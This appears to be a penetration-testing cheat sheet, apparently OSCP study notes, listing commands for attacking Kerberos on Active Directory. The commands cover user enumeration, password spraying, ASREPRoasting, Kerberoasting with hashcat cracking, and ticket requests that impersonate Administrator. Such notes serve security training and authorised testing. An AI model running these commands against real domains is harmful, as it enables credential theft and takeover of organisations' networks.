Howlsec
HOWLSEC
offensive security
// notes
📡

Kerberos (Tcp 88)

Notes from oscp.adot8.com — services.

#services#adot8
source · oscp.adot8.com · services/kerberos-less-than-tcp-88-greater-than ↗

Kerberos <tcp 88>

Kerberos = Domain Controller. Enum users, ASREPRoast, Kerberoast, spray.

Nmap

🐺 howlsec@kali
01nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=$domain,userdb=users.txt $ip

User enumeration (no creds)

🐺 howlsec@kali
01kerbrute userenum --dc $ip -d $domain /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o kerb_users.txt

Kerbrute only asks "does this principal exist" — does NOT count against lockout policy.

Password spray

🐺 howlsec@kali
01kerbrute passwordspray --dc $ip -d $domain users.txt 'Winter2025!'

Check lockout policy first: nxc smb $ip -u guest -p '' --pass-pol

ASREPRoast (users without pre-auth)

🐺 howlsec@kali
01impacket-GetNPUsers $domain/ -dc-ip $ip -usersfile users.txt -no-pass -format hashcat -outputfile asrep.hash

02hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

Kerberoast (any valid creds)

🐺 howlsec@kali
01impacket-GetUserSPNs $domain/$user:$pass -dc-ip $ip -request -outputfile spns.hash

02hashcat -m 13100 spns.hash /usr/share/wordlists/rockyou.txt

Clock skew (KRB_AP_ERR_SKEW)

🐺 howlsec@kali
01sudo ntpdate $ip

02sudo rdate -n $ip

Pass-the-ticket

🐺 howlsec@kali
01export KRB5CCNAME=$(pwd)/ticket.ccache

02impacket-getST -spn cifs/$dc.$domain -impersonate Administrator $domain/$user:$pass